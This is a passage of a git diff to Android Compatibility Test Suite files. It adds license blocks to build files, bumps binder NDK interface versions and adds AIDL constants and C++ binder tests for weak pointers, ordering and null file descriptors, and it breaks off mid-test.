@@ -19,4 +23,4 @@
         "cts",
         "general-tests",
     ]
-}
\ No newline at end of file
+}
diff --git a/tests/tests/appop/AppToCollect/Android.bp b/tests/tests/appop/AppToCollect/Android.bp
index 1706aea..ce08997 100644
--- a/tests/tests/appop/AppToCollect/Android.bp
+++ b/tests/tests/appop/AppToCollect/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppToCollect",
 
@@ -19,4 +23,4 @@
         "cts",
         "general-tests",
     ]
-}
\ No newline at end of file
+}
diff --git a/tests/tests/appop/AppWithAttributionInheritingFromExisting/Android.bp b/tests/tests/appop/AppWithAttributionInheritingFromExisting/Android.bp
index 10f916a..2677c7e 100644
--- a/tests/tests/appop/AppWithAttributionInheritingFromExisting/Android.bp
+++ b/tests/tests/appop/AppWithAttributionInheritingFromExisting/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "AppWithAttributionInheritingFromExisting",
 
@@ -19,4 +23,4 @@
         "cts",
         "general-tests",
     ]
-}
\ No newline at end of file
+}
diff --git a/tests/tests/appop/AppWithAttributionInheritingFromSameAsOther/Android.bp b/tests/tests/appop/AppWithAttributionInheritingFromSameAsOther/Android.bp
index 2214391..43d19e3 100644
--- a/tests/tests/appop/AppWithAttributionInheritingFromSameAsOther/Android.bp
+++ b/tests/tests/appop/AppWithAttributionInheritingFromSameAsOther/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "AppWithAttributionInheritingFromSameAsOther",
 
@@ -19,4 +23,4 @@
         "cts",
         "general-tests",
     ]
-}
\ No newline at end of file
+}
diff --git a/tests/tests/appop/AppWithAttributionInheritingFromSelf/Android.bp b/tests/tests/appop/AppWithAttributionInheritingFromSelf/Android.bp
index 2317c70..f91b619 100644
--- a/tests/tests/appop/AppWithAttributionInheritingFromSelf/Android.bp
+++ b/tests/tests/appop/AppWithAttributionInheritingFromSelf/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "AppWithAttributionInheritingFromSelf",
 
@@ -19,4 +23,4 @@
         "cts",
         "general-tests",
     ]
-}
\ No newline at end of file
+}
diff --git a/tests/tests/appop/AppWithDuplicateAttribution/Android.bp b/tests/tests/appop/AppWithDuplicateAttribution/Android.bp
index f1e7068..d290843 100644
--- a/tests/tests/appop/AppWithDuplicateAttribution/Android.bp
+++ b/tests/tests/appop/AppWithDuplicateAttribution/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "AppWithDuplicateAttribution",
 
@@ -19,4 +23,4 @@
         "cts",
         "general-tests",
     ]
-}
\ No newline at end of file
+}
diff --git a/tests/tests/appop/AppWithLongAttributionTag/Android.bp b/tests/tests/appop/AppWithLongAttributionTag/Android.bp
index f5afd4e..b971b0d 100644
--- a/tests/tests/appop/AppWithLongAttributionTag/Android.bp
+++ b/tests/tests/appop/AppWithLongAttributionTag/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "AppWithLongAttributionTag",
 
@@ -19,4 +23,4 @@
         "cts",
         "general-tests",
     ]
-}
\ No newline at end of file
+}
diff --git a/tests/tests/appop/AppWithTooManyAttributions/Android.bp b/tests/tests/appop/AppWithTooManyAttributions/Android.bp
index d681b21..77ccfac 100644
--- a/tests/tests/appop/AppWithTooManyAttributions/Android.bp
+++ b/tests/tests/appop/AppWithTooManyAttributions/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "AppWithTooManyAttributions",
 
@@ -19,4 +23,4 @@
         "cts",
         "general-tests",
     ]
-}
\ No newline at end of file
+}
diff --git a/tests/tests/appop/OWNERS b/tests/tests/appop/OWNERS
index d21846d..0e3b271 100644
--- a/tests/tests/appop/OWNERS
+++ b/tests/tests/appop/OWNERS
@@ -1,2 +1,5 @@
 # Bug component: 137825
+
+include platform/frameworks/base:/core/java/android/permission/OWNERS
+
 include ../toast/OWNERS
diff --git a/tests/tests/appop/aidl/AppOpsForegroundControlService/Android.bp b/tests/tests/appop/aidl/AppOpsForegroundControlService/Android.bp
index 4b4b0a0..b077110 100644
--- a/tests/tests/appop/aidl/AppOpsForegroundControlService/Android.bp
+++ b/tests/tests/appop/aidl/AppOpsForegroundControlService/Android.bp
@@ -12,10 +12,14 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "AppOpsForegroundControlServiceAidl",
 
     srcs: [
         "src/**/*.aidl"
     ],
-}
\ No newline at end of file
+}
diff --git a/tests/tests/appop/aidl/AppOpsUserService/Android.bp b/tests/tests/appop/aidl/AppOpsUserService/Android.bp
index d894734..85563a1 100644
--- a/tests/tests/appop/aidl/AppOpsUserService/Android.bp
+++ b/tests/tests/appop/aidl/AppOpsUserService/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 aidl_interface {
     name: "AppOpsUserServiceAidlNative",
     unstable: true,
diff --git a/tests/tests/appop/appopsTestUtilLib/Android.bp b/tests/tests/appop/appopsTestUtilLib/Android.bp
index 935909c..bc95a5b 100644
--- a/tests/tests/appop/appopsTestUtilLib/Android.bp
+++ b/tests/tests/appop/appopsTestUtilLib/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "appops-test-util-lib",
 
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt
index f23485f..efb863b 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt
@@ -27,7 +27,8 @@
 import android.app.AppOpsManager.OP_FLAG_UNTRUSTED_PROXIED
 import android.app.AppOpsManager.UID_STATE_TOP
 import android.content.Intent
-import android.content.Intent.ACTION_APPLICATION_PREFERENCES
+import android.content.Intent.ACTION_INSTALL_PACKAGE
+import android.net.Uri
 import android.os.SystemClock
 import android.platform.test.annotations.AppModeFull
 import androidx.test.platform.app.InstrumentationRegistry
@@ -258,7 +259,9 @@
     fun noteFromTwoProxiesAndVerifyProxyInfo() {
         // Find another app to blame
         val otherAppInfo = context.packageManager
-                .resolveActivity(Intent(ACTION_APPLICATION_PREFERENCES), 0)
+                .resolveActivity(Intent(ACTION_INSTALL_PACKAGE).addCategory(Intent.CATEGORY_DEFAULT)
+                        .setDataAndType(Uri.parse("content://com.example/foo.apk"),
+                                "application/vnd.android.package-archive"), 0)
                 ?.activityInfo?.applicationInfo
 
         assumeNotNull(otherAppInfo)
diff --git a/tests/tests/appwidget/Android.bp b/tests/tests/appwidget/Android.bp
index 461b18d..afdd641 100644
--- a/tests/tests/appwidget/Android.bp
+++ b/tests/tests/appwidget/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 filegroup {
     name: "CtsAppWidgetSources",
     srcs: [
diff --git a/tests/tests/appwidget/packages/launchermanifest/Android.bp b/tests/tests/appwidget/packages/launchermanifest/Android.bp
index 313667e..0c953a8 100644
--- a/tests/tests/appwidget/packages/launchermanifest/Android.bp
+++ b/tests/tests/appwidget/packages/launchermanifest/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppWidgetLauncher1",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/appwidget/packages/widgetprovider/Android.bp b/tests/tests/appwidget/packages/widgetprovider/Android.bp
index c4a64a8..316ad8c 100644
--- a/tests/tests/appwidget/packages/widgetprovider/Android.bp
+++ b/tests/tests/appwidget/packages/widgetprovider/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppWidgetProvider1",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/assist/Android.bp b/tests/tests/assist/Android.bp
index 0f2e412..ba74a85 100644
--- a/tests/tests/assist/Android.bp
+++ b/tests/tests/assist/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsAssistTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/assist/common/Android.bp b/tests/tests/assist/common/Android.bp
index 35bfbb1..b82668d 100644
--- a/tests/tests/assist/common/Android.bp
+++ b/tests/tests/assist/common/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "CtsAssistCommon",
     srcs: ["src/**/*.java"],
diff --git a/tests/tests/assist/service/Android.bp b/tests/tests/assist/service/Android.bp
index 20beec5..c21a601 100644
--- a/tests/tests/assist/service/Android.bp
+++ b/tests/tests/assist/service/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAssistService",
     defaults: ["cts_support_defaults"],
diff --git a/tests/tests/assist/testapp/Android.bp b/tests/tests/assist/testapp/Android.bp
index 8ba03b7..07bab73 100644
--- a/tests/tests/assist/testapp/Android.bp
+++ b/tests/tests/assist/testapp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAssistApp",
     defaults: ["cts_support_defaults"],
diff --git a/tests/tests/background/Android.bp b/tests/tests/background/Android.bp
index 5dc54e5..ad0efa0 100644
--- a/tests/tests/background/Android.bp
+++ b/tests/tests/background/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsBackgroundRestrictionsTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/batterysaving/Android.bp b/tests/tests/batterysaving/Android.bp
index bbcd8d7..24917fd 100644
--- a/tests/tests/batterysaving/Android.bp
+++ b/tests/tests/batterysaving/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsBatterySavingTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/batterysaving/apps/app_target_api_25/Android.bp b/tests/tests/batterysaving/apps/app_target_api_25/Android.bp
index b65c72d..0ec062b 100644
--- a/tests/tests/batterysaving/apps/app_target_api_25/Android.bp
+++ b/tests/tests/batterysaving/apps/app_target_api_25/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsBatterySavingAppTargetApi25",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/batterysaving/apps/app_target_api_current/Android.bp b/tests/tests/batterysaving/apps/app_target_api_current/Android.bp
index 0fe80fd..a1b90c2 100644
--- a/tests/tests/batterysaving/apps/app_target_api_current/Android.bp
+++ b/tests/tests/batterysaving/apps/app_target_api_current/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsBatterySavingAppTargetApiCurrent",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/batterysaving/common/Android.bp b/tests/tests/batterysaving/common/Android.bp
index 40ff9bd..ac80927 100644
--- a/tests/tests/batterysaving/common/Android.bp
+++ b/tests/tests/batterysaving/common/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "BatterySavingCtsCommon",
     srcs: [
diff --git a/tests/tests/binder_ndk/Android.bp b/tests/tests/binder_ndk/Android.bp
index 6aef36d..89dcff4 100644
--- a/tests/tests/binder_ndk/Android.bp
+++ b/tests/tests/binder_ndk/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsNdkBinderTestCases",
     defaults: ["cts_defaults"],
@@ -22,15 +26,15 @@
     ],
     static_libs: [
         "ctstestrunner-axt",
-        "libbinder_ndk_test_interface-unstable-java",
-        "libbinder_ndk_compat_test_interface-unstable-java",
+        "libbinder_ndk_test_interface-V1-java",
+        "libbinder_ndk_compat_test_interface-V3-java",
         "nativetesthelper",
     ],
     jni_libs: [
         "libbinder_ndk_test",
         "libbinder_ndk_test_utilities",
-        "libbinder_ndk_test_interface-unstable-ndk",
-        "libbinder_ndk_compat_test_interface-unstable-ndk",
+        "libbinder_ndk_test_interface-V1-ndk",
+        "libbinder_ndk_compat_test_interface-V3-ndk",
         "libbinder_ndk_test_interface_old",
         "libbinder_ndk_test_interface_new",
     ],
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
index 936ae5d..095d560 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 filegroup {
     name: "libbinder_ndk_compat_test_interface_srcs",
     srcs: [
@@ -125,8 +129,8 @@
     ],
     // Using the up-to-date version of the interface
     shared_libs: [
-        "libbinder_ndk_test_interface-unstable-ndk",
-        "libbinder_ndk_compat_test_interface-unstable-ndk",
+        "libbinder_ndk_test_interface-V1-ndk",
+        "libbinder_ndk_compat_test_interface-V3-ndk",
         "libbinder_ndk_test_utilities",
     ],
 }
@@ -141,10 +145,10 @@
     // Using the frozen version 1 of the interface
     static_libs: [
         // this refers to the latest stable version which is 1
-        "libbinder_ndk_compat_test_interface_dup-ndk",
+        "libbinder_ndk_compat_test_interface_dup-V1-ndk",
     ],
     shared_libs: [
-        "libbinder_ndk_test_interface-unstable-ndk",
+        "libbinder_ndk_test_interface-V1-ndk",
         "libbinder_ndk_test_utilities",
     ],
 }
@@ -161,8 +165,8 @@
         "test_status.cpp",
     ],
     shared_libs: [
-        "libbinder_ndk_test_interface-unstable-ndk",
-        "libbinder_ndk_compat_test_interface-unstable-ndk",
+        "libbinder_ndk_test_interface-V1-ndk",
+        "libbinder_ndk_compat_test_interface-V3-ndk",
         "libbinder_ndk_test_utilities",
     ],
 }
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/Foo.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/Foo.aidl
index f2b551c..ddb6e8b 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/Foo.aidl
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/Foo.aidl
@@ -31,4 +31,16 @@
   test_package.LongEnum[] shouldContainTwoLongFoos;
   @nullable String[] g;
   @nullable test_package.SimpleUnion u;
+  int shouldSetBit0AndBit2;
+  @nullable test_package.SimpleUnion shouldBeConstS1;
+  const int kZero = 0;
+  const int kOne = 1;
+  const int kOnes = -1;
+  const byte kByteOne = 1;
+  const long kLongOnes = -1;
+  const String kEmpty = "";
+  const String kFoo = "foo";
+  const int BIT0 = 1;
+  const int BIT1 = 2;
+  const int BIT2 = 4;
 }
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/ITest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/ITest.aidl
index 21cb7b5..7cd58e7 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/ITest.aidl
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/ITest.aidl
@@ -81,9 +81,12 @@
   void RepeatExtendableParcelable(in test_package.ExtendableParcelable input, out test_package.ExtendableParcelable output);
   test_package.SimpleUnion RepeatSimpleUnion(in test_package.SimpleUnion u);
   IBinder getICompatTest();
+  void RepeatExtendableParcelableWithoutExtension(in test_package.ExtendableParcelable input, out test_package.ExtendableParcelable output);
   const int kZero = 0;
   const int kOne = 1;
   const int kOnes = -1;
+  const byte kByteOne = 1;
+  const long kLongOnes = -1;
   const String kEmpty = "";
   const String kFoo = "foo";
 }
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/SimpleUnion.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/SimpleUnion.aidl
index 7c1564a..e7fc95c 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/SimpleUnion.aidl
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/SimpleUnion.aidl
@@ -23,4 +23,12 @@
   test_package.ByteEnum d;
   test_package.ByteEnum[] e;
   @nullable test_package.Bar f;
+  const int kZero = 0;
+  const int kOne = 1;
+  const int kOnes = -1;
+  const byte kByteOne = 1;
+  const long kLongOnes = -1;
+  const String kEmpty = "";
+  const String kFoo = "foo";
+  const String S1 = "a string constant";
 }
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h b/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
index 8b1a1c3..6222518 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
@@ -455,11 +455,22 @@
   ::ndk::ScopedAStatus RepeatExtendableParcelable(
       const ::aidl::test_package::ExtendableParcelable& in_input,
       ::aidl::test_package::ExtendableParcelable* out_output) {
-    std::unique_ptr<MyExt> ext = in_input.ext.getParcelable<MyExt>();
+    RepeatExtendableParcelableWithoutExtension(in_input, out_output);
+    std::optional<MyExt> ext;
+    in_input.ext.getParcelable(&ext);
     MyExt ext2;
     ext2.a = ext->a;
     ext2.b = ext->b;
-    out_output->ext.setParcelable(&ext2);
+    out_output->ext.setParcelable(ext2);
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+
+  ::ndk::ScopedAStatus RepeatExtendableParcelableWithoutExtension(
+      const ::aidl::test_package::ExtendableParcelable& in_input,
+      ::aidl::test_package::ExtendableParcelable* out_output) {
+    out_output->a = in_input.a;
+    out_output->b = in_input.b;
+    out_output->c = in_input.c;
     return ::ndk::ScopedAStatus(AStatus_newOk());
   }
 
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp
index b05cba0..65862b1 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp
@@ -60,6 +60,17 @@
   AIBinder_decStrong(binder);
 }
 
+TEST_F(NdkBinderTest_AIBinder, ClassGetDescriptor) {
+  EXPECT_NE(SampleData::kClass, SampleData::kAnotherClassWithSameDescriptor);
+  EXPECT_STREQ(SampleData::kDescriptor, AIBinder_Class_getDescriptor(SampleData::kClass));
+  EXPECT_STREQ(SampleData::kDescriptor,
+               AIBinder_Class_getDescriptor(SampleData::kAnotherClassWithSameDescriptor));
+
+  AIBinder* binder = SampleData::newBinder();
+  EXPECT_STREQ(SampleData::kDescriptor, AIBinder_Class_getDescriptor(AIBinder_getClass(binder)));
+  AIBinder_decStrong(binder);
+}
+
 TEST_F(NdkBinderTest_AIBinder, GetUserData) {
   // This test can't use the helper utility since SampleData isn't exposed
   SampleData* data = new SampleData;
@@ -128,6 +139,92 @@
 
   AIBinder* promoted = AIBinder_Weak_promote(weak);
   EXPECT_EQ(nullptr, promoted);
+
+  AIBinder_Weak_delete(weak);
+}
+
+TEST_F(NdkBinderTest_AIBinder, WeakPointerClonePromotes) {
+  AIBinder* binder = SampleData::newBinder();
+  AIBinder_Weak* weak = AIBinder_Weak_new(binder);
+  AIBinder_Weak* copy = AIBinder_Weak_clone(weak);
+  AIBinder_Weak_delete(weak);
+
+  AIBinder* promoted = AIBinder_Weak_promote(copy);
+  EXPECT_EQ(binder, promoted);
+
+  AIBinder_Weak_delete(copy);
+  AIBinder_decStrong(promoted);
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, WeakPointerCloneNoPromote) {
+  AIBinder* binder = SampleData::newBinder();
+  AIBinder_Weak* weak = AIBinder_Weak_new(binder);
+  AIBinder_Weak* copy = AIBinder_Weak_clone(weak);
+  AIBinder_Weak_delete(weak);
+
+  AIBinder_decStrong(binder);
+
+  AIBinder* promoted = AIBinder_Weak_promote(weak);
+  EXPECT_EQ(nullptr, promoted);
+
+  AIBinder_Weak_delete(copy);
+}
+
+TEST_F(NdkBinderTest_AIBinder, BinderEqual) {
+  AIBinder* binder = SampleData::newBinder();
+
+  EXPECT_FALSE(AIBinder_lt(binder, binder));
+
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, BinderNotEqual) {
+  AIBinder* b1 = SampleData::newBinder();
+  AIBinder* b2 = SampleData::newBinder();
+
+  EXPECT_NE(AIBinder_lt(b1, b2), AIBinder_lt(b2, b1));
+
+  AIBinder_decStrong(b2);
+  AIBinder_decStrong(b1);
+}
+
+TEST_F(NdkBinderTest_AIBinder, WeakPointerEqual) {
+  AIBinder* binder = SampleData::newBinder();
+  AIBinder_Weak* weak1 = AIBinder_Weak_new(binder);
+  AIBinder_Weak* weak2 = AIBinder_Weak_new(binder);
+
+  // doesn't need to be promotable to remember ordering
+  AIBinder_decStrong(binder);
+
+  // they are different objects
+  EXPECT_NE(weak1, weak2);
+
+  // they point to the same binder
+  EXPECT_FALSE(AIBinder_Weak_lt(weak1, weak2));
+  EXPECT_FALSE(AIBinder_Weak_lt(weak2, weak1));
+
+  AIBinder_Weak_delete(weak1);
+  AIBinder_Weak_delete(weak2);
+}
+
+TEST_F(NdkBinderTest_AIBinder, WeakPointerNotEqual) {
+  AIBinder* b1 = SampleData::newBinder();
+  AIBinder_Weak* w1 = AIBinder_Weak_new(b1);
+  AIBinder* b2 = SampleData::newBinder();
+  AIBinder_Weak* w2 = AIBinder_Weak_new(b2);
+
+  bool b1ltb2 = AIBinder_lt(b1, b2);
+
+  // doesn't need to be promotable to remember ordering
+  AIBinder_decStrong(b2);
+  AIBinder_decStrong(b1);
+
+  EXPECT_EQ(b1ltb2, AIBinder_Weak_lt(w1, w2));
+  EXPECT_EQ(!b1ltb2, AIBinder_Weak_lt(w2, w1));
+
+  AIBinder_Weak_delete(w1);
+  AIBinder_Weak_delete(w2);
 }
 
 TEST_F(NdkBinderTest_AIBinder, LocalIsLocal) {
@@ -242,6 +339,24 @@
   AIBinder_decStrong(binder);
 }
 
+TEST_F(NdkBinderTest_AIBinder, UnassociatedBinderRejected) {
+  AIBinder* binder1 = SampleData::newBinder(nullptr, ExpectLifetimeTransactions(0));
+
+  AParcel* in;
+  EXPECT_EQ(STATUS_OK, AIBinder_prepareTransaction(binder1, &in));
+
+  AIBinder* binder2 = SampleData::newBinder(nullptr, ExpectLifetimeTransactions(0));
+
+  AParcel* out;
+  // transaction on different binder object from prepare fails
+  EXPECT_EQ(STATUS_BAD_VALUE, AIBinder_transact(binder2, kCode, &in, &out, 0));
+
+  AParcel_delete(out);
+
+  AIBinder_decStrong(binder2);
+  AIBinder_decStrong(binder1);
+}
+
 void* EmptyOnCreate(void* args) { return args; }
 void EmptyOnDestroy(void* /*userData*/) {}
 binder_status_t EmptyOnTransact(AIBinder* /*binder*/,
@@ -339,6 +454,13 @@
 
   EXPECT_EQ(nullptr, AIBinder_DeathRecipient_new(nullptr));
 
+  EXPECT_EQ(nullptr, AIBinder_Weak_clone(nullptr));
+
+  AIBinder_Weak* weak = AIBinder_Weak_new(binder);
+  EXPECT_TRUE(AIBinder_Weak_lt(nullptr, weak));
+  EXPECT_FALSE(AIBinder_Weak_lt(weak, nullptr));
+  AIBinder_Weak_delete(weak);
+
   // Does not crash
   AIBinder_DeathRecipient_delete(nullptr);
 
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
index 9f006f5..9d57674 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
@@ -202,14 +202,36 @@
   EXPECT_EQ(getuid(), res);
 }
 
-TEST_P(NdkBinderTest_Aidl, Constants) {
+TEST_P(NdkBinderTest_Aidl, ConstantsInInterface) {
   ASSERT_EQ(0, ITest::kZero);
   ASSERT_EQ(1, ITest::kOne);
   ASSERT_EQ(0xffffffff, ITest::kOnes);
+  ASSERT_EQ(1, ITest::kByteOne);
+  ASSERT_EQ(0xffffffffffffffff, ITest::kLongOnes);
   ASSERT_EQ(std::string(""), ITest::kEmpty);
   ASSERT_EQ(std::string("foo"), ITest::kFoo);
 }
 
+TEST_P(NdkBinderTest_Aidl, ConstantsInParcelable) {
+  ASSERT_EQ(0, Foo::kZero);
+  ASSERT_EQ(1, Foo::kOne);
+  ASSERT_EQ(0xffffffff, Foo::kOnes);
+  ASSERT_EQ(1, Foo::kByteOne);
+  ASSERT_EQ(0xffffffffffffffff, Foo::kLongOnes);
+  ASSERT_EQ(std::string(""), Foo::kEmpty);
+  ASSERT_EQ(std::string("foo"), Foo::kFoo);
+}
+
+TEST_P(NdkBinderTest_Aidl, ConstantsInUnion) {
+  ASSERT_EQ(0, SimpleUnion::kZero);
+  ASSERT_EQ(1, SimpleUnion::kOne);
+  ASSERT_EQ(0xffffffff, SimpleUnion::kOnes);
+  ASSERT_EQ(1, SimpleUnion::kByteOne);
+  ASSERT_EQ(0xffffffffffffffff, SimpleUnion::kLongOnes);
+  ASSERT_EQ(std::string(""), SimpleUnion::kEmpty);
+  ASSERT_EQ(std::string("foo"), SimpleUnion::kFoo);
+}
+
 TEST_P(NdkBinderTest_Aidl, RepeatPrimitiveInt) {
   int32_t out;
   ASSERT_OK(iface->RepeatInt(3, &out));
@@ -392,6 +414,25 @@
 
 TEST_P(NdkBinderTest_Aidl, RepeatFd) { checkFdRepeat(iface, &ITest::RepeatFd); }
 
+TEST_P(NdkBinderTest_Aidl, RepeatFdNull) {
+  ScopedFileDescriptor fd;
+  // FD is different from most types because the standard type used to represent
+  // it can also contain a null value (this is why many other types don't have
+  // 'null' tests for the non-@nullable Repeat* functions).
+  //
+  // Even worse, these are default initialized to this value, so it's a pretty
+  // common error:
+  EXPECT_EQ(fd.get(), -1);
+  ScopedFileDescriptor out;
+
+  if (shouldBeWrapped) {
+    ASSERT_EQ(STATUS_UNEXPECTED_NULL, AStatus_getStatus(iface->RepeatFd(fd, &out).get()));
+  } else {
+    // another in/out-process difference
+    ASSERT_OK(iface->RepeatFd(fd, &out));
+  }
+}
+
 TEST_P(NdkBinderTest_Aidl, RepeatNullableFd) {
   checkFdRepeat(iface, &ITest::RepeatNullableFd);
 
@@ -433,6 +474,27 @@
   EXPECT_EQ("say what?", *res);
 }
 
+TEST_P(NdkBinderTest_Aidl, ParcelableOrder) {
+  RegularPolygon p1 = {"A", 1, 1.0f};
+
+  // tests on self
+  EXPECT_EQ(p1, p1);
+  EXPECT_LE(p1, p1);
+  EXPECT_GE(p1, p1);
+  EXPECT_FALSE(p1 < p1);
+  EXPECT_FALSE(p1 > p1);
+
+  RegularPolygon p2 = {"A", 2, 1.0f};
+  RegularPolygon p3 = {"B", 1, 1.0f};
+  for (const auto& bigger : {p2, p3}) {
+    EXPECT_FALSE(p1 == bigger);
+    EXPECT_LE(p1, bigger);
+    EXPECT_GE(bigger, p1);
